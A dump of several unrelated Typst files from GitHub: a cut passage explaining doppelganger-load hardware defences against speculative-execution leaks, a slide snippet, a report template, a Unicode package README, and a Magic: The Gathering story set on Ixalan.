With relation to prediction- and resolution-based implicit channels, doppelgangers are safe as they are only trained on non-speculative data, and the values returned by doppelgangers are not propagated until the underlying scheme allows it.
== Doppelganger Loads Architecture
Doppelganger loads are proposed to be implemented with an architecture that resembles the one in @fig:doppelganger-load-architecture.
#figure(
```
╔════════════════╗ ┌───────────────────────────┐
╔═▶ LDPRED ◀──┤ IF │
║ ╚════════▲═══════╝ └────────────┬──────────────┘
║ ║ ┌────────────▼──────────────┐
║ commit ┌────┤ ID │
║ ║ │ └────────────┬──────────────┘
║ ┌────────╨─────▼─┐ ┌────────────▼──────────────┐
║ │ │ │ RR │
║ │ ROB │ └───┬──────────────┬────────┘
║ │ │ ┌───▼───┐ ┌────────▼────────┐
║ │ │ │ mIQ │ │ iIQ │
║ └────────┬───────┘ └───┬───┘ └───┬─────────┬───┘
║ ▼ ┌───▼─────────▼─────────▼───┐
║ commit ┌─────▶ PRF │
║ │ └───┬─────────┬─────────┬───┘
║ ┌─────────────┴──┐ ▼ ┌───▼───┐ ┌───▼───┐
║ │ LSU ▲ │┌── AGU │MUL/DIV│ │ ALU │
║ │ ║ ││ ├───────┤ └───┬───┘
║ │ LDQ ╔══════▶╩╗ ││ │MUL/DIV│ ▼
╚═▶ ADDR║DG?╗ ║=║ ◀┘ ├───────┤ to PRF
│ ├───┤╔══╣ ╚═╝ │ │MUL/DIV│
│ ├───┤╠══╣ │ └───┬───┘
│ ├───┤╠══╣ │ ▼
│ └───┘╚══╝ │ to PRF
└───────▲────────┘
│
┌───────▼────────┐
│ │
│ D$ │
│ │
└────────────────┘
```,
kind: image,
caption: "Doppelganger load architecture (changes to underlying architecture are highlighted with double borders)",
) <fig:doppelganger-load-architecture>
An address predictor `LDPRED` makes predictions for incoming instructions and sends those predictions to the LSU.
The LSU sends those predictions to the L1d `D$`.
Entries in the LDQ for doppelganger loads are shared with the loads they stand in for and are tracked with a flag marking them as doppelgangers `DG?`.
As doppelganger loads complete, the results are written back to the PRF, but dependent instructions are not woken up.
When the real address arrives from an AGU, it is compared to the predicted address already stored in the LSU and, if they are equal, a signal is sent to the PRF/IQs that the result is ready and dependents are woken up to be issued.
The real address replaces the predicted address in the LDQ so that on commit, the address can be sent to the predictor for training.
== Special Considerations for Doppelganger Loads
There are some special cases to take into account when implementing doppelganger loads that are outlined in the paper @bib:doppelganger.
Doppelganger predictions being made and then made not visible may reveal information about other microarchitectural state and form an implicit channel.
=== Ordering and Store-to-Load Forwarding
Doppelganger loads being squashed because of ordering violations reveals the fact that the address matches a different memory access.
The same goes for store-to-load forwarding which would reveal a match in the STQ.
Because of this, properly implemented doppelganger loads should complete independently of such mechanisms and instead be ignored once the access is complete.
=== Special Considerations for Delay-on-Miss
DoM provides register protection and uses a different philosophy for protecting secrets than the other two schemes.
The authors behind doppelganger loads show some special cases where the guarantees of DoM would be broken by doppelganger loads.
The first case is:
+ during a misprediction, load a secret value with a hit in the L1, allowed by DoM,
+ a branch depending on the secret value performs different loads depending on the value,
+ the predictions generated for doppelganger loads in either case miss in the L1.
If the second branch depending on the secret value can resolve before the mispredicted branch, the issued doppelganger may reveal the speculatively loaded secret.
The second case is similar, but the secret is loaded before the misprediction.
This happens because DoM does not track dependent instructions and instead makes all loads wait until they are non-speculative to update microarchitectural state.
Because doppelgangers do potentially update microarchitectural state, they can break the guarantees of DoM when a branch forms an implicit channel such as described above.
The solution to this is to block these various implicit channels.
By resolving all branches in order, the only thing that can be revealed by doppelgangers after the second branch is the branch prediction as it is not allowed to resolve and depend on the secret before the misspeculation is detected and squashed.
For this, it is also required that the branch predictor is not trained speculatively.
Doppelgangers can also form an implicit channel, which is blocked by only propagating values from doppelgangers once the accompanying load is determined to be non-speculative.
That is, if the doppelganger misses, but the prediction is correct, the value is only propagated once the associated load becomes non-speculative.
If a doppelganger hits and is correct, the value is allowed to propagate while the load is still speculative.
Similarly, values forwarded from stores are not forwarded until they would be visible by DoM.
== Doppelganger Loads Performance
Doppelganger loads, when implemented in a simulator showed little performance gain over an insecure baseline processor.
However, when combined with secure speculation schemes such as NDA-P, STT, or DoM, doppelganger loads were able to recover as much as half of the performance lost under the various schemes.
== The Cost of Doppelganger Loads
One of the important aspects of doppelganger loads is that it is a cheap technique in terms of additional required hardware, requiring only storage for the predictor and a few bits per load to correctly mark prefetches.
Address storage in the memory access unit does not have to be expanded as the real address and the predicted address are only needed at the same time when they are compared, which is done as soon as the real address is generated.
Thus, the real address can simply replace the predicted one for mispredicted load instructions.
Said in a different way, once the real address is generated, the predicted address is no longer needed, meaning they can share the same storage.
They @bib:doppelganger also propose to merge the predictor with the one found in the L1 data prefetcher to save even more on implementation costs.
This is only mentioned in passing and is not explored deeply in the paper.
The reasoning is simple: because common L1d prefetchers predict the next address, the only modification that is needed is for the predictor to predict the current address.
|
|
https://github.com/DieracDelta/presentations | https://raw.githubusercontent.com/DieracDelta/presentations/master/polylux/book/src/dynamic/terms-one-by-one.typ | typst | #import "../../../polylux.typ": *
#set page(paper: "presentation-16-9")
#set text(size: 50pt)
#polylux-slide[
#terms-one-by-one(separator: [~---~])[/ first: 1st][/ second: 2nd][/ third: 3rd]
]
|
|
https://github.com/desid-ms/desid_playground | https://raw.githubusercontent.com/desid-ms/desid_playground/main/_extensions/desid/typst-template.typ | typst | MIT License |
#let wideblock(content, ..kwargs) = block(..kwargs, width:100%+7cm-1cm, content)
// Fonts used in front matter, sidenotes, bibliography, and captions
#let sans-fonts = (
"<NAME>",
// "Noto Sans"
)
// Fonts used for headings and body copy
#let serif-fonts = (
// "Harding Text Web",
"Merriweather",
// "Linux Libertine",
)
// ++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
// ++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
// ++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
#let article(
title: [Paper Title],
shorttitle: none,
subtitle: none,
authors: none,
product: none,
date: none,
lang: "pt",
region: "BR",
version: none,
draft: false,
distribution: none,
abstract: none,
abstracttitle: none,
publisher: none,
documenttype: none,
toc: none,
toc_title: none,
bib: none,
first-page-footer: none,
doc
) = {
// Document metadata
// set document(title: title, author: authors.map(author => author.name))
// Page setup
let lr(l, r, ..kwargs) = wideblock( inset: (top: 8pt, right:2pt), ..kwargs,
grid(columns: (1fr, 4fr), align(left, text(font: sans-fonts, size: 8pt, fill: gray, l)), align(right, text(font: sans-fonts, size: 8pt, fill: gray, r)))
)
set page(
paper: "a4",
margin: (left: 1cm, right: 7cm, top: 2cm, bottom: 2cm),
header-ascent: .5cm,
footer-descent: .5cm,
// },
// if version != none {version} else []
//
header: context {
if counter(page).get().first() > 1 {
lr([], if shorttitle !=none {upper(shorttitle)} else {upper(documenttype)})
}
},
footer: context {
if counter(page).get().first() < 2 {
if first-page-footer !=none {first-page-footer} else if date !=none {date}
} else {
lr(if date !=none {date}, [Página #counter(page).display() de #locate((loc) => { counter(page).final(loc).first() })], stroke: (top:.5pt + gray))
}
},
)
// Just a suttle lightness to decrease the harsh contrast
set text(fill:luma(30),
lang: lang,
region: region,
historical-ligatures: true,
)
set par(leading: .75em, justify: true, linebreaks: "optimized", first-line-indent: 1em)
show par: set block(
spacing: 0.65em
)
// Frontmatter
//title block
wideblock({
set par(
first-line-indent: 0pt
)
v(-.5cm)
text(font: sans-fonts, fill:gray.lighten(60%), upper(documenttype))
v(.5cm)
text(font: serif-fonts, stretch: 80%, size:18pt, hyphenate: false, weight:"black", title)
v(0.3cm)
text(font: serif-fonts, stretch: 80%,size: 14pt, weight: "regular", hyphenate: true, subtitle)
if abstract != none {
block(inset: 1.5em)[#text(weight: "semibold", font:sans-fonts, size: 9pt)[#abstracttitle] #h(1em) #text(font: serif-fonts, size: 9pt)[#abstract]]
} else {v(.5cm)}
text(size:8pt,font: sans-fonts, fill:gray.lighten(60%),{
// if date != none {upper(date.display("[month repr:long] [day], [year]"))}
linebreak()
v(-2.5em)
if version != none {version}
})
line(length: 100%, stroke: 3pt + rgb("#316E6B"))
v(-0.5cm)
})
let tocblock() = {
set par(first-line-indent: 0pt)
[#text(size:14pt, weight:"black", [#toc_title])
#set text(size:.75em, font: sans-fonts)
#outline(
title: none,
depth: 2,
indent: 1em
)]
}
let authorblock() = {
block(width:100%, inset: 1em, fill:rgb("#316E6B").lighten(95%), radius: 10pt)[
#set text(font: sans-fonts, size: 8pt)
#set par(first-line-indent: 0em)
#for (author) in authors [
#if author.role != none [#text(weight: "bold", author.role) \ ]
#h(1em)#author.name #if author.affiliation!=none {text(font: "SF Mono")[(#author.affiliation) \ ]}
#if author.email != none [#h(1em)#text(size: 7pt, font: "SF Mono", author.email)]
#v(.5em)
]
#if product != none [
#if product.contract != none [ *Contrato* #h(1em)#text(size: 7pt, font: sans-fonts, product.contract)#v(.5em) ]
#if product.project != none [ *Projeto* #h(1em)#text(size: 7pt, font: sans-fonts, product.project)#v(.5em) ]
#if product.name != none [ *Produto* #h(1em)#text(size: 7pt, font: sans-fonts, product.name)#v(.5em) ]
#if date != none {
let (year, month, day) = date.split("-")
let day = datetime(year: int(year), month: int(month), day: int(day))
[ *Publicação* #h(1em)#text(size: 7pt, font: sans-fonts, day.display("[day]/[month]/[year]")) ]}
]
]
}
place(dx: 6.5cm, dy:.5cm, right, block(width: 6cm, inset: 1em,)[
#set align(left)
#if authors != none [#authorblock()]
#if toc !=none [#tocblock()]
])
// Headings
set heading(numbering: "1.1.a")
show heading.where(level:1): it => {
v(2em,weak:true)
text(size:14pt, weight: "black",it)
v(1em,weak: true)
}
show heading.where(level:2): it => {
v(1.3em, weak: true)
text(size: 13pt, weight: "regular",style: "italic",it)
v(1em,weak: true)
}
show heading.where(level:3): it => {
v(1em,weak:true)
text(size:11pt,style:"italic",weight:"thin",it)
v(0.65em,weak:true)
}
show heading: it => {
if it.level <= 3 {it} else {}
}
// Tables and figures
show figure: set figure.caption(separator: [.#h(0.5em)])
show figure.caption: set align(left)
show figure.caption: set text(font: sans-fonts)
show figure.where(kind: table): set figure.caption(position: top)
show figure.where(kind: table): set figure(numbering: "I")
show figure.where(kind: image): set figure(supplement: [Figure], numbering: "1")
show figure.where(kind: raw): set figure.caption(position: top)
show figure.where(kind: raw): set figure(supplement: [Code], numbering: "1")
show raw: set text(font: "Lucida Console", size: 10pt)
// Equations
set math.equation(numbering: "(1)")
show math.equation: set block(spacing: 0.65em)
show link: underline
// Lists
set enum(
indent: 1em,
body-indent: 1em,
)
show enum: set par(justify: false)
set list(
indent: 1em,
body-indent: 1em,
)
show list: set par(justify: false)
// Body text
set text(
font: serif-fonts,
style: "normal",
weight: "regular",
hyphenate: true,
size: 11pt
)
let margincite(citation) = context {
if query(bibliography).len()>0 {
let (key, supplement, form, style) = citation.fields()
let sy= repr(supplement).slice(1,-1).split(",").filter(value => value.contains("dy."))
let y = if sy.len()>0 {sy.at(0).replace("dy.", "").replace(" ", "")} else {none}
if sy.len()>0 {supplement = repr(supplement).replace(sy.at(0), "").replace("[", "").replace("]", "").replace(",", "")}
cite(key, form: "normal", supplement: supplement)
set text(size: 7pt)
// if y!=none {place(dy:eval(y), dx:100%+.65cm)[#block(width: 5.5cm, inset:1em)[#cite(key, form:"full", supplement: supplement)]]}
}
}
show cite.where(form:"prose"): margincite
doc
show bibliography: set text(font:sans-fonts)
show bibliography: set par(justify:false)
set bibliography(title:none)
if bib != none {
heading(level:1,[References])
bib
}
}
|
https://github.com/typst/packages | https://raw.githubusercontent.com/typst/packages/main/packages/preview/unichar/0.1.0/README.md | markdown | Apache License 2.0 | # Unichar
This package ports part of the [Unicode Character Database](https://www.unicode.org/reports/tr44/) to Typst. Notably, it includes information from [UnicodeData.txt](https://unicode.org/reports/tr44/#UnicodeData.txt) and [Blocks.txt](https://unicode.org/reports/tr44/#Blocks.txt).
## Usage
This package defines a single function: `codepoint`. It lets you get the information related to a specific codepoint. The codepoint can be specified as a string containing a single character, or with its value.
```typ
#codepoint("√").name \
#codepoint(sym.times).block \
#codepoint(0x00C9).general-category
```
You can display a codepoint in the style of [Template:Unichar](https://en.wikipedia.org/wiki/Template:Unichar) using the `show` entry:
```typ
#codepoint("¤").show \
#codepoint(sym.copyright).show \
#codepoint(0x1249).show \
#codepoint(0x100000).show
```
## Changelog
### Version 0.1.0
- Add the `codepoint` function. |
https://github.com/polarkac/MTG-Stories | https://raw.githubusercontent.com/polarkac/MTG-Stories/master/stories/033%20-%20Rivals%20of%20Ixalan/002_Glimpse%20the%20Far%20Side%20of%20the%20Sun.typ | typst | #import "@local/mtgstory:0.2.0": conf
#show: doc => conf(
"Glimpse the Far Side of the Sun",
set_name: "Rivals of Ixalan",
story_date: datetime(day: 17, month: 01, year: 2018),
author: "<NAME> & <NAME>",
doc
)
= HUATLI
#figure(image("002_Glimpse the Far Side of the Sun/01.jpg", width: 100%), caption: [Radiant Destiny | Art by Emrah Elmasli], supplement: none, numbering: none)
Huatli was eight.
Little motes drifted down in the afternoon sunlight and lit the sparring ground with an orange glow in the shadow of Tocatli. A dozen other children sat beside her on the stone tile, their little hands gripping wooden training weapons. She was young enough to feel compelled to ask thousands of questions, but old enough to know to wait until it was appropriate. And so she sat clutching her toes in her tiny hands, waiting for the Sun Empire priest to cease his monologue. He was lecturing the young warriors-to-be on the threefold aspect of the sun, and doing so in the most unimaginably boring drone Huatli had ever heard. She knew all these stories by heart. She loved stories.
"What's on the far side of the sun?" she blurted out.
The priest blinked.
Huatli squeezed her feet in her hands and maintained determined eye contact.
The priest sighed. "Huatli, one day you will fight with a blade in your hand and speak with the power of the sun. What is on the far side doesn't #emph[matter] ."
Huatli hated when they mentioned her future. She got special lessons with the priests and shamans because she was good at telling stories, but it annoyed her that she couldn't spend that time with the other warriors-to-be.
"But I want to know what is on the other side," she said, doing her best to disguise her complaint with genuine curiosity.
The other warriors-to-be were watching with annoyance. Huatli blushed.
"Huatli may be our future warrior-poet," said Inti, her cousin, in a voice that was bolder than an eight-year-old's had any right to be. "Aren't there stories about the other side of the sun she should know?"
The rest of the children nodded in agreement.
The priest looked a bit flustered. He looked to their martial instructor for assistance, but she merely shrugged. He furrowed his brow and looked Huatli in the eye.
"There are no stories about the other side of the sun."
The other young warriors #emph[aww] -ed in a chorus of disappointment.
The priest sighed. "Name the things you #emph[can] see. Glorify the things you have done, and don't waste time on the unknown."
Huatli was confused. "But what if I honestly want to know?"
The priest looked to the martial instructor with the type of defeat exclusive to tired adults surrounded by children.
The martial instructor clapped her hands with seasoned authority and spoke to the rest of the young warriors. "Trainees! Pair up and practice your forms. First one to get knocked down has clean-up duty."
The rest of the children scrambled to their feet and ran to the far side of the sparring arena, jabbering all the more excitedly for having been forced to remain silent throughout the lecture. Huatli remained, rooted where she sat, staring intently at the priest.
He sighed, and looked at her with vaguely parental exasperation. "We sense that you have a gift for words, Huatli. If you choose to become warrior-poet of the Sun Empire, then when you do so, your words become truth."
The girl frowned, confused. "Does that mean I make things up?"
"No. It means that when you tell stories, you are telling someone's truth. It is your duty to know their experiences, and to share them in such a way that our people will never forget your subject's actions." The priest was adamant. "If you live a warrior's life for the good of the empire, you will see clearly. You must be the single voice shouting from the mountaintop. The voice of the empire, the voice of all that matters."
Huatli bit her lip. She wasn't sure if being a voice on a mountaintop was what she wanted. She thought of the priest and the martial instructor, of her auntie and uncle and Inti. She thought of all the people in the empire, and how one day they would listen to the truths she would tell.
#emph[The empire is what matters] , she asserted to herself. #emph[Not whatever exists beyond the sun.]
#v(0.35em)
#line(length: 100%, stroke: rgb(90%, 90%, 90%))
#v(0.35em)
#figure(image("002_Glimpse the Far Side of the Sun/02.jpg", width: 100%), caption: [Blood Sun | Art by <NAME>li], supplement: none, numbering: none)
Angrath and Huatli stood in a clearing, crouching to maintain balance as the earth beneath them shook violently. They watched as the golden spires of Orazca climbed higher and higher above the canopy of the valley below. The spires seemed to pull the city up, snapping trees and shoving massive amounts of soil and rock aside as they rose.
Huatli's breath caught in her chest.
The city was more beautiful than she could possibly have imagined . . . and it looked nothing like the city she had seen in her vision.
The ground stopped shaking and she blinked away a tear. It was #emph[there] . High arches and carvings as large as a house, a labyrinthian structure with more gold than she had ever laid eyes on. The place seemed to pulse with magic. It was still a significant distance away from where she stood, roughly a half-day's hike, but she was closer than any member of the Sun Empire had been to Orazca in centuries.
The minotaur to her left snorted in excitement. "About damn time." He started stomping downhill, determined and impatient.
Huatli remembered her mission, and ran to catch up.
Her mind was racing. She had found it, but did that mean she had to return? Shouldn't she explore inside to find the Immortal Sun herself? Huatli tried to contain her glee but failed—a dumb grin was stretched across her face.
"So you were told to find the Golden City like an errand girl?" Angrath sneered.
Huatli snapped back to reality. She stowed her smile. "My emperor tasked me with this. It is our ancestral home, and we are the rightful rulers of Ixalan."
The trees were closing in over them. Branches arced overhead and the sounds of insects and birds flooded Huatli's ears as they walked into the shadow of the jungle canopy.
Angrath was eyeing Huatli. "What do #emph[you ] get out of it?"
"I get my rightful title," Huatli said. "I've been training to become the warrior-poet since I was a child."
Angrath snorted.
Huatli frowned. "What?"
"A title doesn't give you freedom."
He whipped out a chain to yank a branch from their path. Huatli was annoyed. "You wouldn't understand. It will be my duty to tell the victories of my people."
Angrath looked at her over his shoulder. "You need a title to do that? You think like an #emph[ant] ."
Huatli was more than insulted, but clamped her mouth shut. She knew firsthand how flimsy the man's temper was, and she dared not provoke this new, strange ally into another attack.
"What do you mean 'You think like an ant'?" she asked with deliberate calm.
Angrath rolled his shoulders, bull head tipping side to side with a pop. "You just want to get to the top of the anthill and congratulate yourself on the view."
"Are you calling the Sun Empire an anthill?"
The minotaur laughed. It was a low, throaty noise that reminded Huatli of a braying longneck. "The Sun Empire are ants on an anthill, and so are the River Heralds and so is Torrezon and so is every other group of idiots on this plane."
"Well, at least you're insulting all of us at once."
Angrath reached ahead and pulled the stalk of a massive flower to one side to let Huatli pass through underneath. "My people value freedom above all else. We'd kill for it, Planeswalker, and everyone understands why." He gave her a serious look. "You've tied yourself a noose over nothing but half-remembered stories."
"Stories?" she barked. "You're talking about my history. You're talking about everything I live for. My life has been dedicated to finding the right words, expressing our collective emotions, preserving the Sun Empire's history with truth and pride."
The minotaur was #emph[chuckling] . Huatli bit her tongue. He smiled at her as much as a minotaur could. "And what of the River Heralds? Doesn't their history deserve to be remembered?"
"Well . . . yes. I suppose it does. But the warrior-poet doesn't study theirs . . ."
"You're killing each other over who is powerful enough to decide what history #emph[is] . You argue and spit to decide who will rule, but no one is truly free. Who are you to say that you are right, fool?"
Huatli felt conflicted.
She wondered who Angrath thought he was to speak to her so bluntly. He was crude and terse, but if he was telling the truth, he knew things Huatli had never conceived of. If he came from a different world, perhaps things worked differently where he was from. Huatli felt like a child, insistent and impetuous, boldly proclaiming her own importance. She disliked the implication that she ought to know better, because truthfully, how could she? The path she had walked in life was lined with walls far taller than she could see over.
A shudder traversed her shoulders.
Angrath paused in front. He looked back at Huatli.
"Did you feel that, too?"
She nodded. A little tingle ran down her neck and she shivered in spite of the heat of the jungle.
Angrath's ear twitched. "Follow me," he said.
#emph[Sun above, he is rude] , Huatli thought with irritation.
The minotaur stilled, and Huatli felt a sudden bloom of heat in front of her. The minotaur was casting a spell. #emph[No, something different] . As a glow like that of warm coals began to illuminate Angrath's body from within, she realized he meant for her to follow in a way she had only tried once before.
Huatli concentrated. She tried to remember how to look on the other side of the sun.
It hit her all at once, and the feeling sent shivers down her skin and tugged at her chest. It was frightening and familiar, like attempting a back handspring, or swimming without touching the bottom, and Huatli watched as her skin began to shine with the brilliant light of mid-afternoon. Her perception wavered, and she leaned forward into a separate realm. It was familiar now, a bright storm of color and light, and Angrath was there ahead of her. He was walking forward, reaching for an exit.
Huatli's feet left the jungle floor and stepped onto nothing. Her body was supported, but matter here had no weight or purpose. She saw currents of blue on either side, and each footstep vibrated with an energy she had never sensed before. Time was irrelevant here.
Angrath motioned for her to look through a portal in front of him. The minotaur still had the magical affect of an hours-old hearth, and Huatli realized she must be too bright for him to look at directly.
She looked through the window sliced in the air.
#figure(image("002_Glimpse the Far Side of the Sun/03.jpg", width: 100%), caption: [Skybreen | Art by Wayne England], supplement: none, numbering: none)
It was cold there in a way she had never felt before. Mountains reached for the churning clouds, and bits of white fell quietly from a heavy sky.
Huatli was riveted. She leaned forward, and was immediately—violently—yanked back.
Huatli tore through space and color and back through the fabric of existence, falling backward into the clammy humidity and damp-soil stink of the jungle and landing flat on her back.
The now-familiar circle within a triangle shimmered above her head.
Angrath was standing near her. More accustomed to the magical expulsion, he had braced for the impact. He looked down at her with an illuminated triangle of his own hovering above his head and an I-told-you-so look in his bovine eyes.
"We must be near whatever is keeping us locked on this plane," he grunted.
Huatli let out a shaking breath. "Where was that place?"
"Kaldheim," Angrath said forcefully. "Another plane. Do you understand what I mean, now?"
Huatli shook her head.
Angrath snorted. "Freedom starts with knowing when you're trapped."
Afternoon bled into early evening, and Huatli and Angrath walked side by side. Their pace was quick, as Huatli knew how to navigate the rainforest with ease. The closer they came to the city, the more the environment around them changed. The leaves of the trees glittered with gold, and fractures in the earth created deep chasms that led to deeper golden passageways.
Huatli was concerned by the intensity of her chills. Angrath mumbled something about the Immortal Sun possibly dealing with the magic of Planeswalkers, and Huatli sighed. So many groups thought the Immortal Sun did so many different things. There was no way all of them could be true. At one point, Huatli asked where Angrath wanted to go first when he could leave the plane. "I want to see my daughters" was his terse response.
Huatli was touched by his vulnerability. "How long has it been since you've seen them?"
"Fourteen years," Angrath growled. For a moment Huatli was moved. She was about to express her condolences, but was interrupted by Angrath's addendum: "They'd drink the blood of your emperor with glee, idiot."
If anything could have catapulted Huatli out of this world, Angrath's personality would have done it.
They reached a structure emerging from the ground, a modest-size temple. A broad design embellished the front—a bat, its frightening face carved out of folds of rock. The deterioration of the structure suggested to Huatli that this was not part of Orazca, but was instead a tomb built near it. The tomb felt out of time, oddly displaced within the jungle. It was striking. Unsettling.
Huatli slowed to a stop.
She remembered an old story, one long forgotten by most, but not by her. Not by the warrior-poet of the Sun Empire.
"The Bat of the East," she whispered.
Angrath's ear twitched. "What bat?"
Huatli pointed at the structure in front of them. It was covered in vines and weathered with time, and the door in front had been jumbled ajar. "There's a legend that says the bat of the East met Aclazotz . . ."
The minotaur grunted. "How was the bat stopped in the legend?"
"She put herself into an enchanted sleep."
Huatli walked toward the entrance, entranced by the prospect of investigating the temple. If Orazca had awakened, perhaps this place had, too . . .
"What are you doing?!" Angrath yelled.
#emph[I'm seeing what is on the other side of the sun] , Huatli thought to herself with a grin.
She approached the opening of the temple, but suddenly recoiled in shock as a pale white hand reached out from the interior. Huatli froze as the other, feminine hand gently grabbed the side of the golden slab.
Huatli immediately, silently cast a spell to summon the nearest dinosaur. Her heart pounded as her call went out, and she watched as the hand lifted the slab up and away from the entrance to the temple.
Huatli's panic vanished as the figure walked into the light, and her jaw dropped in awe.
#figure(image("002_Glimpse the Far Side of the Sun/04.jpg", width: 100%), caption: [Elenda, the Dusk Rose | Art by <NAME>], supplement: none, numbering: none)
She was a vampire, without a doubt, with long curling locks and a youthful face that belied the deadly nature of her kind. She was of average height, perhaps slightly shorter than Huatli herself, but carried herself with the posture of royalty.
Huatli's breath caught in her chest. She glanced at Angrath, expecting him to charge in for the kill, but he was as still and frozen as she was.
"You are Saint Elenda," Angrath said distantly. "You're the one the vampires never shut up about."
Huatli was briefly perturbed that Angrath knew a legend she did not.
The woman moved deliberately, slowly, and looked from Angrath to Huatli with a smile on her lips.
"Orazca has awoken at last."
Her voice was light and quiet. A bell breaking silence.
Huatli stowed her awe and gripped her blade. A low growl came from several yards away, and Huatli urged her newly summoned dinosaur to crouch in preparation for an attack. She knew how legends worked; she knew better than any other how stories are begun and how they evolve. Nearly all tales spring from truth, and Huatli reasoned quickly that the legend of the Bat of the East began with this very real vampire centuries before.
The vampire remained relaxed. She locked eyes with Huatli, her face the very soul of serenity.
"Why do you take up arms?" she asked with plain curiosity.
Huatli scowled. "I refuse to allow the Legion of Dusk to take the city. You invaders deserve a fate worse than death!"
The vampire's brow creased. Her lips were parted, her demeanor hurt. Her voice was hushed and otherworldly. "We are invaders now?"
"I know all of my people's stories about you and your Legion of Dusk," Huatli hissed. "Would you like to hear them?"
Huatli's rage erupted. She recited a poem that she had written only two years before, relishing the bitter phrasing.
"Draped in the shadow of the East they came#linebreak In search of a treasure lost to time#linebreak The prickled rose, crusted blood smeared 'Adanto' on our south#linebreak Drinkers of life, devourers of names."
Angrath was quivering with anger and impatience. "We don't have time for chitchat, Huatli. We need to take the Immortal Sun so we can #emph[leave] ."
Elenda did not pay any attention to Angrath. Her air of calm was replaced by a quiet fury. She was visibly tense, her golden eyes darting back and forth between Huatli and Angrath. "What did the Legion of Dusk come here for?"
Huatli spat her words with vitriol. "To take what is not theirs. What did you #emph[think] they came here for?"
"To retrieve the one thing that #emph[is ] ours," Elenda replied in a measured but angry tone. "And to leave all else in peace. That was our most holy mission."
Angrath growled. "You ought to tell the rest of your cronies that. Huatli, let's #emph[go] ."
Huatli ignored Angrath and tightened her grip on her blade. Saint Elenda stood tense as a jungle cat, as though at any moment she might attack with liquid grace and stiletto-sharp claws.
The vampire bared her teeth. "I left the Church with the knowledge of the ritual to take on my burden, and they used that to become #emph[invaders] ?"
Huatli glared. "What were they meant to do with your gift?"
"They were meant to learn #emph[humility] ."
Huatli's jaw fell open. The Legion of Dusk? #emph[Humble] ?
#emph["] They were meant to search for salvation for us #emph[all] ," Elenda continued. "I see I must teach them what they forgot."
Elenda straightened, and a great shadow fell across her face. She stepped forward, past Huatli and Angrath, and vanished into a dark slice in the air.
A moment later, the sunlight returned, amber and dappled through the leaves above, and the vampire was gone.
Huatli blinked, looking around for a sign of where she went. "Oh, come on!" she sighed, exasperated.
"Can we go now?!" Angrath roared with displeasure and struck a nearby tree with one of his chains. It cracked from the impact and crashed to the earth, dozens of small animals and insects scattering in its wake.
Huatli scowled at the minotaur. "What was that for?! You'll just draw attention to us!"
"You are too easily distracted! We lost time by talking to the vampire!"
"She's a living #emph[saint ] who I wanted to give a #emph[piece of my mind] !"
"#emph[You swapping stories is not worth me wasting any more time!] "
Angrath launched a chain at Huatli's face that she just barely dodged, its heat searing her cheek.
Though her reflexes and training allowed her to vault backward, right herself, and draw her blade with incredible speed, by the time she was able to focus her attention on Angrath to counterattack, he had already turned and run a surprisingly long distance toward the spires of Orazca.
Angrath (rude, incorrigible, frustrating Angrath) was going to get there before she did.
And Huatli would not allow that to happen.
#v(0.35em)
#line(length: 100%, stroke: rgb(90%, 90%, 90%))
#v(0.35em)
= JACE
Jace's insides had been drowned in emotion, squeezed with suffocating force, pinned to a line, and strung out in the wind. Exhaustion did not begin to describe how wrung out he felt.
He deliberately placed each foot ahead of the other as he ascended the stairs to Orazca, overly aware of the presence of Vraska behind him. Jace was too tired to feel ashamed for being unable to control himself. Ailments of the body manifested in uncontrollable fevers. It only made sense that ailments of a telepath's mind would manifest as . . . that. An expulsion. A violent outpouring of mental magic.
The majority of his thoughts were working furiously to catalogue and dissect the flood of memories still pouring in. The well of his mind was immeasurably deep now, with textures as varied and endless as those in the world around him. He had to focus on something. If he didn't, he was certain he'd be overcome with grief once again.
(A flash of memory: himself at twelve, sitting in the corner of his bedroom, wrapped in a wool blanket, wiping away a tear after the family pet died.)
The memories were still coming, but he could contain them now. No more psychic spillage. Nothing else for Vraska to see (thank goodness). He was embarrassed at how much she'd seen, but realized with mounting comfort how much she could relate to.
She'd been tortured, too, after all. She knew.
Jace was thankful he had a moment of mindless repetition to allow himself to focus on mental organization. One step after another after another as he ascended toward the city. Left foot. Right foot. Left foot.
The long stair of solid gold crawled up the side of the newly exposed bedrock, snaking in switchback after switchback up its face. As Jace climbed upward with Vraska close behind, he could see thick veins of gold shining through the rock. He felt increasingly awkward with each step he took, as if each footstep were the equivalent of him wiping his feet on a stranger's treasure. Gold was malleable and soft, and he wondered if the city possessed some way to magically counter the wear and tear of centuries.
The idea of gold brought back vague hints of awful memories still waiting to be uncovered.
(Gold scales. Sandstone. Heat. Rough sand on his lips and in his eyes and in his throat. Broken, doomed friends. He was trying to break into a dragon's mind. Sense what the dragon's plan was, stop him from doing harm, and for a brief moment, #emph[he had done it] , he saw the goal, the endgame—)
That memory was trickier to parse. Jace tried to see if he could recall the details.
(The dragon noticed his presence, and tried to retaliate by reading his own mind. But something intervened as the dragon tried to intrude, and everything went dark.)
No luck. Jace frowned, frustrated. He wanted to remember the bits in between. He wanted to know the golden dragon's name. He itched to put it together again so it would all make sense.
But the thought of one dragon reminded him of another.
(Ugin was unfurling himself inside a great cavern. "Good fortune, <NAME>," he said in farewell, curling his immense silvery tail around himself.)
Jace blinked. Ugin. That name came to him easily, but the texture of this memory was strange. He felt for the conversation in his mind and thumbed around its edges, inspecting its sides with the same care he had when Alhammarret had meddled with his memory years before. #emph[Never trust your memory around anything older than yourself. ] Jace grimaced to realize he never would have thought to investigate if he hadn't remembered learning that the hard way.
#emph[There. ] A hair trigger. A line waiting to be tripped, a clever bit of obfuscating mental magic that the spirit dragon must have implanted without him noticing. The spell left behind was a simple command. #emph[If someone were to try and read my mind and find this encounter with Ugin, the memory would be shrouded, and I would be compelled to instantly planeswalk away. To here. To Ixalan.]
Jace became worried. #emph[Why did Ugin need to hide my memory of him? Why command me to come here, of all places? Was I meant to be a lure?]
#emph[. . . And what did I find in the golden dragon's mind before he erased my own?]
He put the memory of both the spirit dragon and the golden dragon aside and resolved to ruminate on them when time allowed.
He and Vraska reached the top of the stairs, thighs burning and hearts pounding with effort from the seemingly endless climb. Vraska stretched out her hamstrings, holding on to a golden pillar for support.
They stood at the edge of a vast plaza, and at the other end was a massive tower. They were surrounded on all sides by passageway after golden passageway, a glittering labyrinth.
"We would have been stuck in there if we came through any other way," she said, taking a swig of water from her hip flask. "Thanks for falling down that waterfall."
